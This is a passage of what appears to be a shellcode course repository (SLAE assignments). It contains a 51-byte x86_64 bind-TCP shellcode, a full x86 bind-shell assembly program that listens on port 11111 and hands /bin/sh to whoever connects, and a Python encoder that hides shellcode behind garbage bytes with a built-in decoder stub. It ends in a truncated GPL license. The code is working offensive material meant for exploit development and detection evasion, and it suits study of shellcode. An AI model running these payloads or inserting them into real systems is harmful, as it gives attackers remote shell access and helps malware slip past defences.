26 | ; LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS
27 | ; FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE
28 | ; COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,
29 | ; INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING,
30 | ; BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
31 | ; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
32 | ; CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
33 | ; LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN
34 | ; ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
35 | ; POSSIBILITY OF SUCH DAMAGE.
36 |
37 |
38 | ; tiny_shell_bind_tcp_random_port_x86_64
39 | ;
40 | ; * 51 bytes
41 | ; * null-free
42 | ;
43 | ;
44 | ; # nasm -f elf64 tiny_shell_bind_tcp_random_port_x86_64.asm; \
45 | ; ld -m elf_x86_64 tiny_shell_bind_tcp_random_port_x86_64.o -o \
46 | ; tiny_shell_bind_tcp_random_port_x86_64
47 | ;
48 | ; Testing
49 | ; First terminsal
50 | ; # ./tiny_shell_bind_tcp_random_port_x86_64
51 | ; Second terminal (Discover the port and connect)
52 | ; # netstat -anp | grep shell
53 | ; # nmap -sS 127.0.0.1 -p- (It's necessary to use the TCP SYN scan option [-sS],
54 | ; avoiding nmap to connect to the port open by shellcode)
55 | ; # nc 127.0.0.1 port
56 |
57 |
58 | global _start
59 |
60 | section .text
61 |
62 | _start:
63 |
64 | ; syscalls (/usr/include/asm/unistd_64.h)
65 | ; socket numbers (/usr/include/linux/net.h)
66 |
67 | ; Creating the socket file descriptor
68 | ; int socket(int domain, int type, int protocol);
69 | ; socket(AF_INET, SOCK_STREAM, IPPROTO_IP)
70 |
71 | ; socket arguments (bits/socket.h, netinet/in.h)
72 |
73 | ; Avoiding garbage
74 | ; These push and pop unset the sign bit in rax used for cdq
75 | push 41 ; syscall 41 - socket
76 | pop rax
77 |
78 | ; Zeroing rdx, search about cdq instruction for understanding
79 | cdq ; IPPROTO_IP = 0 (int) - rdx
80 |
81 | push 1 ; SOCK_STREAM = 1 (int)
82 | pop rsi
83 |
84 | push 2 ; AF_INET = 2 (int)
85 | pop rdi
86 |
87 | ; syscall 41 (rax) - socket
88 | syscall ; kernel interruption
89 |
90 |
91 | ; Preparing to listen the incoming connection (passive socket)
92 | ; int listen(int sockfd, int backlog);
93 | ; listen(sockfd, 1);
94 |
95 | ; listen arguments ; just let rsi (backlog) as 1 - man(2) listen
96 |
97 | xchg eax, edi ; put the file descriptor returned by socket() into rdi
98 |
99 | mov al, 50 ; syscall 50 - listen
100 | syscall ; kernel interruption
101 |
102 |
103 | ; Accepting the incoming connection
104 | ; int accept(int sockfd, struct sockaddr *addr, socklen_t *addrlen);
105 | ; accept(sockfd, NULL, NULL)
106 |
107 | ; accept arguments ; rdi already contains the sockfd, likewise rdx contains 0
108 |
109 | xchg eax, esi ; put listen() return (0) into rsi
110 |
111 | mov al, 43 ; syscall 43 - accept
112 | syscall ; kernel interruption
113 |
114 |
115 | ; Creating a interchangeably copy of the file descriptors
116 | ; int dup2(int oldfd, int newfd);
117 | ; dup2(clientfd, ...)
118 |
119 | xchg edi, eax ; put the clientfd returned from accept into rdi
120 | xchg esi, eax ; put the sockfd integer into rsi to use as the loop counter
121 |
122 | dup_loop:
123 | dec esi ; decrement loop counter
124 |
125 | push 33 ; syscall 33 - dup2
126 | pop rax
127 | syscall ; kernel interruption
128 |
129 | jnz dup_loop
130 |
131 |
132 | ; Finally, using execve to substitute the actual process with /bin/sh
133 | ; int execve(const char *filename, char *const argv[], char *const envp[]);
134 | ; exevcve("//bin/sh", NULL, NULL)
135 |
136 | ; execve string argument
137 | ; *envp[] rdx is already NULL
138 | ; *argv[] rsi is already NULL
139 | push rdx ; put NULL terminating string
140 | mov rdi, 0x68732f6e69622f2f ; "//bin/sh"
141 | push rdi ; push //bin/sh string
142 | push rsp ; push the stack pointer
143 | pop rdi ; pop it (string address) into rdi
144 |
145 | mov al, 59 ; execve syscall
146 | syscall ; bingo
147 |
148 |
--------------------------------------------------------------------------------
/1st.assignment/shell_bind_tcp.asm:
--------------------------------------------------------------------------------
1 | ; Shell Bind TCP - Assembly Language - Linux/x86
2 | ; Copyright (C) 2013 Geyslan G. Bem, Hacking bits
3 | ;
4 | ; http://hackingbits.com
5 | ; geyslan@gmail.com
6 | ;
7 | ; This program is free software: you can redistribute it and/or modify
8 | ; it under the terms of the GNU General Public License as published by
9 | ; the Free Software Foundation, either version 3 of the License, or
10 | ; (at your option) any later version.
11 | ;
12 | ; This program is distributed in the hope that it will be useful,
13 | ; but WITHOUT ANY WARRANTY; without even the implied warranty of
14 | ; MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
15 | ; GNU General Public License for more details.
16 | ;
17 | ; You should have received a copy of the GNU General Public License
18 | ; along with this program. If not, see .
19 |
20 |
21 | ; shell_bind_tcp
22 | ;
23 | ; * avoids SIGSEGV when reconnecting, setting SO_REUSEADDR (TIME_WAIT)
24 | ;
25 | ;
26 | ; # nasm -f elf32 shell_bind_tcp.asm -o shell_bind_tcp.o -g
27 | ; # ld -m elf_i386 shell_bind_tcp.o -o shell_bind_tcp
28 | ; # ./shell_bind_tcp
29 | ;
30 | ; Testing
31 | ; # nc 127.0.0.1 11111
32 |
33 |
34 | global _start
35 |
36 | section .text
37 |
38 | _start:
39 |
40 | ; syscalls (/usr/include/asm/unistd_32.h)
41 | ; socketcall numbers (/usr/include/linux/net.h)
42 |
43 | ; Creating the socket file descriptor
44 | ; int socket(int domain, int type, int protocol);
45 | ; socket(AF_INET, SOCK_STREAM, IPPROTO_IP)
46 |
47 | mov eax, 102 ; syscall 102 - socketcall
48 | mov ebx, 1 ; socketcall type (sys_socket 1)
49 |
50 | ; socket arguments (bits/socket.h, netinet/in.h)
51 | push 0 ; IPPROTO_IP = 0 (int)
52 | push 1 ; SOCK_STREAM = 1 (int)
53 | push 2 ; AF_INET = 2 (int)
54 |
55 | mov ecx, esp ; ptr to argument array
56 |
57 | int 0x80 ; kernel interruption
58 |
59 | mov edx, eax ; saving the returned socket file descriptor
60 |
61 |
62 | ; Avoiding SIGSEGV when trying to reconnect before the kernel to close the socket previously opened
63 | ; this problem happens in most shellcodes, even in the Metasploit, because they do not care
64 | ; about the reuse of the socket address
65 | ; int setsockopt(int sockfd, int level, int optname, const void *optval, socklen_t optlen);
66 | ; setsockopt(sockfd, SOL_SOCKET, SO_REUSEADDR, &socklen_t, socklen_t)
67 |
68 | mov eax, 102 ; syscall 102 - socketcall
69 | mov ebx, 14 ; socketcall type (sys_setsockopt 14)
70 |
71 | push 4 ; sizeof socklen_t
72 | push esp ; address of socklen_t - on the stack
73 | push 2 ; SO_REUSEADDR = 2
74 | push 1 ; SOL_SOCKET = 1
75 | push edx ; sockfd
76 |
77 | mov ecx, esp ; ptr to argument array
78 |
79 | int 0x80 ; kernel interrupt
80 |
81 |
82 | ; Biding the socket with an address type
83 | ; int bind(int sockfd, const struct sockaddr *addr, socklen_t addrlen);
84 | ; bind(sockfd, [AF_INET, 11111, INADDR_ANY], 16)
85 |
86 | mov eax, 102 ; syscall 102 - socketcall
87 | mov ebx, 2 ; socketcall type (sys_bind 2)
88 |
89 | ; building the sockaddr_in struct (sys/socket.h, netinet/in.h and bits/sockaddr.h)
90 | push 0 ; INADDR_ANY = 0 (uint32_t)
91 | push WORD 0x672b ; port in byte reverse order = 11111 (uint16_t)
92 | push WORD 2 ; AF_INET = 2 (unsigned short int)
93 | mov ecx, esp ; struct pointer
94 |
95 | ; bind arguments (sys/socket.h)
96 | push 16 ; sockaddr struct size = sizeof(struct sockaddr) = 16 (socklen_t)
97 | push ecx ; sockaddr_in struct pointer (struct sockaddr *)
98 | push edx ; socket fd (int)
99 |
100 | mov ecx, esp ; ptr to argument array
101 |
102 | int 0x80 ; kernel interrruption
103 |
104 |
105 | ; Preparing to listen the incoming connection (passive socket)
106 | ; int listen(int sockfd, int backlog);
107 | ; listen(sockfd, 0);
108 |
109 | mov eax, 102 ; syscall 102 - socketcall
110 | mov ebx, 4 ; socketcall type (sys_listen 4)
111 |
112 | ; listen arguments
113 | push 0 ; backlog (connections queue size)
114 | push edx ; socket fd
115 |
116 | mov ecx, esp ; ptr to argument array
117 |
118 | int 0x80 ; kernel interruption
119 |
120 |
121 | ; Accepting the incoming connection
122 | ; int accept(int sockfd, struct sockaddr *addr, socklen_t *addrlen);
123 | ; accept(sockfd, NULL, NULL)
124 |
125 | mov eax, 102 ; syscall 102 - socketcall
126 | mov ebx, 5 ; socketcall type (sys_accept 5)
127 |
128 | ; accept arguments
129 | push 0 ; NULL - we don't need to know anything about the client
130 | push 0 ; NULL - we don't need to know anything about the client
131 | push edx ; socket fd
132 |
133 | mov ecx, esp ; ptr to argument array
134 |
135 | int 0x80 ; kernel interruption
136 |
137 | mov edx, eax ; saving the returned socket fd (client)
138 |
139 |
140 | ; Creating a interchangeably copy of the 3 file descriptors (stdin, stdout, stderr)
141 | ; int dup2(int oldfd, int newfd);
142 | ; dup2(clientfd, ...)
143 |
144 | mov eax, 63 ; syscall 63 - dup2
145 | mov ebx, edx ; oldfd (client socket fd)
146 | mov ecx, 0 ; stdin file descriptor
147 |
148 | int 0x80 ; kernel interruption
149 |
150 | mov eax, 63
151 | mov ecx, 1 ; stdout file descriptor
152 |
153 | int 0x80
154 |
155 | mov eax, 63
156 | mov ecx, 2 ; stderr file descriptor
157 |
158 | int 0x80
159 |
160 |
161 | ; Finally, using execve to substitute the actual process with /bin/sh
162 | ; int execve(const char *filename, char *const argv[], char *const envp[]);
163 | ; exevcve("/bin/sh", NULL, NULL)
164 |
165 | mov eax, 11 ; execve syscall
166 |
167 | ; execve string argument
168 | push 0 ; null byte
169 | push 0x68732f2f ; "//sh"
170 | push 0x6e69622f ; "/bin"
171 |
172 | mov ebx, esp ; ptr to "/bin//sh" string
173 | mov ecx, 0 ; null ptr to argv
174 | mov edx, 0 ; null ptr to envp
175 |
176 | int 0x80 ; bingo
177 |
--------------------------------------------------------------------------------
/4th.assignment/insertion_encoder.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/python
2 | # -*- coding: utf-8 -*-
3 | #
4 | # Multi-pattern Insertion Shellcode Encoder - Python Language
5 | # Copyright (C) 2013 Geyslan G. Bem, Hacking bits
6 | #
7 | # http://hackingbits.com
8 | # geyslan@gmail.com
9 | #
10 | # This program is free software: you can redistribute it and/or modify
11 | # it under the terms of the GNU General Public License as published by
12 | # the Free Software Foundation, either version 3 of the License, or
13 | # (at your option) any later version.
14 | #
15 | # This program is distributed in the hope that it will be useful,
16 | # but WITHOUT ANY WARRANTY; without even the implied warranty of
17 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
18 | # GNU General Public License for more details.
19 | #
20 | # You should have received a copy of the GNU General Public License
21 | # along with this program. If not, see .
22 |
23 | '''
24 | insertion_encoder
25 |
26 | * encodes any sequence pattern of garbage insertion
27 | Eg: True Byte = b, Garbage Byte = x
28 | bxbxb ...
29 | xbbxx ...
30 | xxxbb ...
31 |
32 |
33 | # ./insertion_encoder.py -h
34 | # ./insertion_encoder.py -g f3 -p xxbbxb -e f1f1 -s $'\x31\xc9\xf7\xe1...\x80'
35 |
36 | '''
37 |
38 | import sys
39 | import getopt
40 | import string
41 |
42 |
43 | def usage ():
44 | usage = """
45 | -g --garbage Garbage Byte to be inserted (one byte in hex format)
46 | Default is 3f
47 | Eg. -g 2f
48 | --garbage 2f
49 |
50 | -p --pattern Pattern of insertion. Garbage = x; True Shellcode Byte = b
51 | Default is xb
52 | Eg. -p xxxbbxbb
53 | -p xbbbxbbx
54 | --pattern xxbxxbxx
55 |
56 | -e --end End signature (two bytes in hex format)
57 | Default is f1f1
58 | Eg. -e f2f2
59 | --end f1aa
60 |
61 | -s --shellcode The shellcode to be encoded with the Garbage Insertion Byte
62 | Eg. -s $'\\xcd\\x80'
63 | --shellcode `printf "\\xcc\\x90"`
64 |
65 | -h --help This help
66 | """
67 | print(usage)
68 |
69 | def main():
70 | garbageByte = "3f"
71 | pattern = "xb"
72 | endSignature = "f1f1"
73 | shellcode = ""
74 |
75 | try:
76 | opts, args = getopt.getopt(sys.argv[1:], "hg:p:e:s:")
77 |
78 | except getopt.GetoptError as err:
79 | print(err)
80 | usage()
81 | sys.exit()
82 |
83 | for o, a in opts:
84 |
85 | if o in ("-h", "--help"):
86 | usage()
87 | sys.exit()
88 |
89 | elif o in ("-g", "--garbage"):
90 | if (len(a) != 2 or not all(h in string.hexdigits for h in a)):
91 | print(" Garbage has to be in hex format. Eg. -g 3f\n")
92 | sys.exit()
93 | garbageByte = a
94 |
95 | elif o in ("-p", "--pattern"):
96 | if (len(a) < 2 or not "x" in a):
97 | print(" Pattern has to be at least two differents bytes. Eg. -p bx\n")
98 | sys.exit()
99 | pattern = a
100 |
101 | elif o in ("-e", "--end"):
102 | if (len(a) != 4 or not all(h in string.hexdigits for h in a)):
103 | print(" End signature has to be in hex format. Eg. -e f1f1\n")
104 | sys.exit()
105 | endSignature = a
106 |
107 | elif o in ("-s", "--shellcode"):
108 | shellcode = a.encode("utf_8", "surrogateescape")
109 |
110 |
111 | if (not shellcode):
112 | print(" Is necessary to inform a shellcode. Eg. -s $'\\xcd\\x80'\n")
113 | sys.exit()
114 |
115 | if (int("0x" + garbageByte, 16) in bytearray(shellcode)):
116 | print(" The shellcode being processed contains the byte '0x" + garbageByte + "'. " \
117 | "Please choose another Garbage!\n")
118 | sys.exit()
119 |
120 | endfirst = int("0x" + endSignature[:-2], 16)
121 | endsecond = int("0x" + endSignature[-2:], 16)
122 |
123 | for x in range(len(shellcode)):
124 | if (endfirst == shellcode[x] and x < len(shellcode) - 1):
125 | if( endsecond == shellcode[x+1]):
126 | print(" The shellcode being processed contains the ordered bytes '" + \
127 | hex(endfirst) + "' '" + hex(endsecond) + \
128 | "'. Please choose other End Signature!\n")
129 | sys.exit()
130 |
131 | encoded = '"'
132 | encoded2 = ""
133 | encoded3 = '"'
134 | encoded4 = ""
135 |
136 | print("Multi-pattern Insertion Shellcode Encoder")
137 | print("http://hackingbits.com")
138 | print("https://github.com/geyslan/SLAE.git")
139 | print("License GPLv3+: GNU GPL version 3 or later \n\n")
140 |
141 | print("Encoded shellcode:")
142 |
143 | p = 0
144 | s = 0
145 |
146 | while 1:
147 |
148 | if (pattern[p] != "x" and pattern[p] != "b"):
149 | print(" Pattern invalid: " + pattern + "\n")
150 | print(" See the help.\n")
151 | sys.exit()
152 |
153 | if (pattern[p] == "x"):
154 | encoded += "\\x" + garbageByte
155 |
156 | if (s < len(shellcode)):
157 | if (pattern[p] == "b"):
158 | encoded += "\\x%02x" % shellcode[s]
159 | s += 1
160 |
161 | p += 1
162 | if (p == len(pattern)):
163 | p = 0
164 |
165 | if (s == len(bytearray(shellcode)) and p == 0):
166 | break
167 |
168 | encoded += '";'
169 |
170 | encoded2 = encoded.replace("\\x", ",0x")[+2:-2]
171 |
172 | end = r"\x" + endSignature[:-2] + r"\x" + endSignature[-2:]
173 | encoded3 += r"\xeb\x1a\x5e\x8d\x3e\x31\xc9\x8b\x1c\x0e"
174 | encoded3 += r"\x41\x66\x81\xfb"
175 | encoded3 += end
176 | encoded3 += r"\x74\x0f\x80\xfb"
177 | encoded3 += r"\x" + garbageByte
178 | encoded3 += r"\x74\xf0\x88\x1f\x47\xeb\xeb\xe8\xe1\xff"
179 | encoded3 += r"\xff\xff"
180 | encoded3 += encoded[+1:-2]
181 | encoded3 += end
182 |
183 | encoded3 += '";'
184 |
185 | encoded4 = encoded3.replace("\\x" , ",0x")[+2:-2]
186 |
187 | print()
188 | print(encoded)
189 | print()
190 | print(encoded2)
191 | print()
192 | print()
193 |
194 | print("Encoded shellcode with decoder built-in:")
195 | print()
196 | print(encoded3)
197 | print()
198 | print(encoded4)
199 | print()
200 | print()
201 |
202 | print("Length before: %d" % len(bytearray(shellcode)))
203 | print("Length after: %d" % ((len(encoded) - 2) /4))
204 | print("Length with decoder: %d" % ((len(encoded3) - 2) /4))
205 |
206 |
207 | if __name__ == "__main__":
208 | main()
209 |
--------------------------------------------------------------------------------
/LICENSE:
--------------------------------------------------------------------------------
1 | GNU GENERAL PUBLIC LICENSE
2 | Version 3, 29 June 2007
3 |
4 | Copyright (C) 2007 Free Software Foundation, Inc. {http://fsf.org/}
5 | Everyone is permitted to copy and distribute verbatim copies
6 | of this license document, but changing it is not allowed.
7 |
8 | Preamble
9 |
10 | The GNU General Public License is a free, copyleft license for
11 | software and other kinds of works.
12 |
13 | The licenses for most software and other practical works are designed
14 | to take away your freedom to share and change the works. By contrast,
15 | the GNU General Public License is intended to guarantee your freedom to
16 | share and change all versions of a program--to make sure it remains free
17 | software for all its users. We, the Free Software Foundation, use the
18 | GNU General Public License for most of our software; it applies also to
19 | any other work released this way by its authors. You can apply it to
20 | your programs, too.
21 |
22 | When we speak of free software, we are referring to freedom, not
23 | price. Our General Public Licenses are designed to make sure that you
24 | have the freedom to distribute copies of free software (and charge for
25 | them if you wish), that you receive source code or can get it if you
26 | want it, that you can change the software or use pieces of it in new
27 | free programs, and that you know you can do these things.
28 |
29 | To protect your rights, we need to prevent others from denying you
30 | these rights or asking you to surrender the rights. Therefore, you have
31 | certain responsibilities if you distribute copies of the software, or if
32 | you modify it: responsibilities to respect the freedom of others.
33 |
34 | For example, if you distribute copies of such a program, whether
35 | gratis or for a fee, you must pass on to the recipients the same
36 | freedoms that you received. You must make sure that they, too, receive
37 | or can get the source code. And you must show them these terms so they
38 | know their rights.
39 |
40 | Developers that use the GNU GPL protect your rights with two steps:
41 | (1) assert copyright on the software, and (2) offer you this License
42 | giving you legal permission to copy, distribute and/or modify it.
43 |
44 | For the developers' and authors' protection, the GPL clearly explains
45 | that there is no warranty for this free software. For both users' and
46 | authors' sake, the GPL requires that modified versions be marked as
47 | changed, so that their problems will not be attributed erroneously to
48 | authors of previous versions.
49 |
50 | Some devices are designed to deny users access to install or run
51 | modified versions of the software inside them, although the manufacturer
52 | can do so. This is fundamentally incompatible with the aim of
53 | protecting users' freedom to change the software. The systematic
54 | pattern of such abuse occurs in the area of products for individuals to
55 | use, which is precisely where it is most unacceptable. Therefore, we
56 | have designed this version of the GPL to prohibit the practice for those
57 | products. If such problems arise substantially in other domains, we
58 | stand ready to extend this provision to those domains in future versions
59 | of the GPL, as needed to protect the freedom of users.
60 |
61 | Finally, every program is threatened constantly by software patents.
62 | States should not allow patents to restrict development and use of
63 | software on general-purpose computers, but in those that do, we wish to
64 | avoid the special danger that patents applied to a free program could
65 | make it effectively proprietary. To prevent this, the GPL assures that
66 | patents cannot be used to render the program non-free.
67 |
68 | The precise terms and conditions for copying, distribution and
69 | modification follow.
70 |
71 | TERMS AND CONDITIONS
72 |
73 | 0. Definitions.
74 |
75 | "This License" refers to version 3 of the GNU General Public License.
76 |
77 | "Copyright" also means copyright-like laws that apply to other kinds of
78 | works, such as semiconductor masks.
79 |
80 | "The Program" refers to any copyrightable work licensed under this
81 | License. Each licensee is addressed as "you". "Licensees" and
82 | "recipients" may be individuals or organizations.
83 |
84 | To "modify" a work means to copy from or adapt all or part of the work
85 | in a fashion requiring copyright permission, other than the making of an
86 | exact copy. The resulting work is called a "modified version" of the
87 | earlier work or a work "based on" the earlier work.
88 |
89 | A "covered work" means either the unmodified Program or a work based
90 | on the Program.
91 |
92 | To "propagate" a work means to do anything with it that, without
93 | permission, would make you directly or secondarily liable for
94 | infringement under applicable copyright law, except executing it on a
95 | computer or modifying a private copy. Propagation includes copying,
96 | distribution (with or without modification), making available to the
97 | public, and in some countries other activities as well.
98 |
99 | To "convey" a work means any kind of propagation that enables other
100 | parties to make or receive copies. Mere interaction with a user through
101 | a computer network, with no transfer of a copy, is not conveying.
102 |
103 | An interactive user interface displays "Appropriate Legal Notices"
104 | to the extent that it includes a convenient and prominently visible
105 | feature that (1) displays an appropriate copyright notice, and (2)
106 | tells the user that there is no warranty for the work (except to the
107 | extent that warranties are provided), that licensees may convey the
108 | work under this License, and how to view a copy of this License. If
109 | the interface presents a list of user commands or options, such as a
110 | menu, a prominent item in the list meets this criterion.
111 |
112 | 1. Source Code.
113 |
114 | The "source code" for a work means the preferred form of the work
115 | for making modifications to it. "Object code" means any non-source
116 | form of a work.
117 |
118 | A "Standard Interface" means an interface that either is an official
119 | standard defined by a recognized standards body, or, in the case of
120 | interfaces specified for a particular programming language, one that
121 | is widely used among developers working in that language.
122 |
123 | The "System Libraries" of an executable work include anything, other
124 | than the work as a whole, that (a) is included in the normal form of
125 | packaging a Major Component, but which is not part of that Major
126 | Component, and (b) serves only to enable use of the work with that
127 | Major Component, or to implement a Standard Interface for which an
128 | implementation is available to the public in source code form. A
129 | "Major Component", in this context, means a major essential component
130 | (kernel, window system, and so on) of the specific operating system
131 | (if any) on which the executable work runs, or a compiler used to
132 | produce the work, or an object code interpreter used to run it.
133 |
134 | The "Corresponding Source" for a work in object code form means all
135 | the source code needed to generate, install, and (for an executable
136 | work) run the object code and to modify the work, including scripts to
137 | control those activities. However, it does not include the work's
138 | System Libraries, or general-purpose tools or generally available free
139 | programs which are used unmodified in performing those activities but
140 | which are not part of the work. For example, Corresponding Source
141 | includes interface definition files associated with source files for
142 | the work, and the source code for shared libraries and dynamically
143 | linked subprograms that the work is specifically designed to require,
144 | such as by intimate data communication or control flow between those
145 | subprograms and other parts of the work.
146 |
147 | The Corresponding Source need not include anything that users
148 | can regenerate automatically from other parts of the Corresponding
149 | Source.
150 |
151 | The Corresponding Source for a work in source code form is that
152 | same work.
153 |
154 | 2. Basic Permissions.
155 |
156 | All rights granted under this License are granted for the term of
157 | copyright on the Program, and are irrevocable provided the stated
158 | conditions are met. This License explicitly affirms your unlimited
159 | permission to run the unmodified Program. The output from running a
160 | covered work is covered by this License only if the output, given its
161 | content, constitutes a covered work. This License acknowledges your
162 | rights of fair use or other equivalent, as provided by copyright law.
163 |
164 | You may make, run and propagate covered works that you do not
165 | convey, without conditions so long as your license otherwise remains
166 | in force. You may convey covered works to others for the sole purpose
167 | of having them make modifications exclusively for you, or provide you
168 | with facilities for running those works, provided that you comply with
169 | the terms of this License in conveying all material for which you do
170 | not control copyright. Those thus making or running the covered works
171 | for you must do so exclusively on your behalf, under your direction
172 | and control, on terms that prohibit them from making any copies of
173 | your copyrighted material outside their relationship with you.
174 |
175 | Conveying under any other circumstances is permitted solely under
176 | the conditions stated below. Sublicensing is not allowed; section 10
177 | makes it unnecessary.
178 |
179 | 3. Protecting Users' Legal Rights From Anti-Circumvention Law.
180 |
181 | No covered work shall be deemed part of an effective technological
182 | measure under any applicable law fulfilling obligations under article
183 | 11 of the WIPO copyright treaty adopted on 20 December 1996, or
184 | similar laws prohibiting or restricting circumvention of such
185 | measures.
186 |
187 | When you convey a covered work, you waive any legal power to forbid
188 | circumvention of technological measures to the extent such circumvention
189 | is effected by exercising rights under this License with respect to
190 | the covered work, and you disclaim any intention to limit operation or
191 | modification of the work as a means of enforcing, against the work's
192 | users, your or third parties' legal rights to forbid circumvention of
193 | technological measures.
194 |
195 | 4. Conveying Verbatim Copies.
196 |
197 | You may convey verbatim copies of the Program's source code as you
198 | receive it, in any medium, provided that you conspicuously and
199 | appropriately publish on each copy an appropriate copyright notice;
200 | keep intact all notices stating that this License and any
201 | non-permissive terms added in accord with section 7 apply to the code;
202 | keep intact all notices of the absence of any warranty; and give all
203 | recipients a copy of this License along with the Program.
204 |
205 | You may charge any price or no price for each copy that you convey,
206 | and you may offer support or warranty protection for a fee.
207 |
208 | 5. Conveying Modified Source Versions.
209 |
210 | You may convey a work based on the Program, or the modifications to
211 | produce it from the Program, in the form of source code under the
212 | terms of section 4, provided that you also meet all of these conditions:
213 |
214 | a) The work must carry prominent notices stating that you modified
215 | it, and giving a relevant date.
216 |
217 | b) The work must carry prominent notices stating that it is
218 | released under this License and any conditions added under section
219 | 7. This requirement modifies the requirement in section 4 to
220 | "keep intact all notices".
221 |
222 | c) You must license the entire work, as a whole, under this
223 | License to anyone who comes into possession of a copy. This
224 | License will therefore apply, along with any applicable section 7
225 | additional terms, to the whole of the work, and all its parts,
226 | regardless of how they are packaged. This License gives no
227 | permission to license the work in any other way, but it does not
228 | invalidate such permission if you have separately received it.
229 |
230 | d) If the work has interactive user interfaces, each must display
231 | Appropriate Legal Notices; however, if the Program has interactive
232 | interfaces that do not display Appropriate Legal Notices, your
233 | work need not make them do so.
234 |
235 | A compilation of a covered work with other separate and independent
236 | works, which are not by their nature extensions of the covered work,
237 | and which are not combined with it such as to form a larger program,
238 | in or on a volume of a storage or distribution medium, is called an
239 | "aggregate" if the compilation and its resulting copyright are not
240 | used to limit the access or legal rights of the compilation's users
241 | beyond what the individual works permit. Inclusion of a covered work
242 | in an aggregate does not cause this License to apply to the other
243 | parts of the aggregate.
244 |
245 | 6. Conveying Non-Source Forms.
246 |
247 | You may convey a covered work in object code form under the terms
248 | of sections 4 and 5, provided that you also convey the
249 | machine-readable Corresponding Source under the terms of this License,
250 | in one of these ways:
251 |
252 | a) Convey the object code in, or embodied in, a physical product
253 | (including a physical distribution medium), accompanied by the
254 | Corresponding Source fixed on a durable physical medium
255 | customarily used for software interchange.
256 |
257 | b) Convey the object code in, or embodied in, a physical product
258 | (including a physical distribution medium), accompanied by a
259 | written offer, valid for at least three years and valid for as
260 | long as you offer spare parts or customer support for that product
261 | model, to give anyone who possesses the object code either (1) a
262 | copy of the Corresponding Source for all the software in the
263 | product that is covered by this License, on a durable physical
264 | medium customarily used for software interchange, for a price no
265 | more than your reasonable cost of physically performing this
266 | conveying of source, or (2) access to copy the
267 | Corresponding Source from a network server at no charge.
268 |
269 | c) Convey individual copies of the object code with a copy of the
270 | written offer to provide the Corresponding Source. This
271 | alternative is allowed only occasionally and noncommercially, and
272 | only if you received the object code with such an offer, in accord
273 | with subsection 6b.
274 |
275 | d) Convey the object code by offering access from a designated
276 | place (gratis or for a charge), and offer equivalent access to the
277 | Corresponding Source in the same way through the same place at no
278 | further charge. You need not require recipients to copy the
279 | Corresponding Source along with the object code. If the place to
280 | copy the object code is a network server, the Corresponding Source
281 | may be on a different server (operated by you or a third party)
282 | that supports equivalent copying facilities, provided you maintain
283 | clear directions next to the object code saying where to find the
284 | Corresponding Source. Regardless of what server hosts the
285 | Corresponding Source, you remain obligated to ensure that it is
286 | available for as long as needed to satisfy these requirements.
287 |
288 | e) Convey the object code using peer-to-peer transmission, provided
289 | you inform other peers where the object code and Corresponding
290 | Source of the work are being offered to the general public at no
291 | charge under subsection 6d.
292 |
293 | A separable portion of the object code, whose source code is excluded
294 | from the Corresponding Source as a System Library, need not be
295 | included in conveying the object code work.
296 |
297 | A "User Product" is either (1) a "consumer product", which means any
298 | tangible personal property which is normally used for personal, family,
299 | or household purposes, or (2) anything designed or sold for incorporation
300 | into a dwelling. In determining whether a product is a consumer product,
301 | doubtful cases shall be resolved in favor of coverage. For a particular
302 | product received by a particular user, "normally used" refers to a
303 | typical or common use of that class of product, regardless of the status
304 | of the particular user or of the way in which the particular user
305 | actually uses, or expects or is expected to use, the product. A product
306 | is a consumer product regardless of whether the product has substantial
307 | commercial, industrial or non-consumer uses, unless such uses represent
308 | the only significant mode of use of the product.
309 |
310 | "Installation Information" for a User Product means any methods,
311 | procedures, authorization keys, or other information required to install
312 | and execute modified versions of a covered work in that User Product from
313 | a modified version of its Corresponding Source. The information must
314 | suffice to ensure that the continued functioning of the modified object
315 | code is in no case prevented or interfered with solely because
316 | modification has been made.
317 |
318 | If you convey an object code work under this section in, or with, or
319 | specifically for use in, a User Product, and the conveying occurs as
320 | part of a transaction in which the right of possession and use of the
321 | User Product is transferred to the recipient in perpetuity or for a
322 | fixed term (regardless of how the transaction is characterized), the
323 | Corresponding Source conveyed under this section must be accompanied
324 | by the Installation Information. But this requirement does not apply
325 | if neither you nor any third party retains the ability to install
326 | modified object code on the User Product (for example, the work has
327 | been installed in ROM).
328 |
329 | The requirement to provide Installation Information does not include a
330 | requirement to continue to provide support service, warranty, or updates
331 | for a work that has been modified or installed by the recipient, or for
332 | the User Product in which it has been modified or installed. Access to a
333 | network may be denied when the modification itself materially and
334 | adversely affects the operation of the network or violates the rules and
335 | protocols for communication across the network.
336 |
337 | Corresponding Source conveyed, and Installation Information provided,
338 | in accord with this section must be in a format that is publicly
339 | documented (and with an implementation available to the public in
340 | source code form), and must require no special password or key for
341 | unpacking, reading or copying.
342 |
343 | 7. Additional Terms.
344 |
345 | "Additional permissions" are terms that supplement the terms of this
346 | License by making exceptions from one or more of its conditions.
347 | Additional permissions that are applicable to the entire Program shall
348 | be treated as though they were included in this License, to the extent
349 | that they are valid under applicable law. If additional permissions
350 | apply only to part of the Program, that part may be used separately
351 | under those permissions, but the entire Program remains governed by
352 | this License without regard to the additional permissions.
353 |
354 | When you convey a copy of a covered work, you may at your option
355 | remove any additional permissions from that copy, or from any part of
356 | it. (Additional permissions may be written to require their own
357 | removal in certain cases when you modify the work.) You may place
358 | additional permissions on material, added by you to a covered work,
359 | for which you have or can give appropriate copyright permission.
360 |
361 | Notwithstanding any other provision of this License, for material you
362 | add to a covered work, you may (if authorized by the copyright holders of
363 | that material) supplement the terms of this License with terms:
364 |
365 | a) Disclaiming warranty or limiting liability differently from the
366 | terms of sections 15 and 16 of this License; or
367 |
368 | b) Requiring preservation of specified reasonable legal notices or
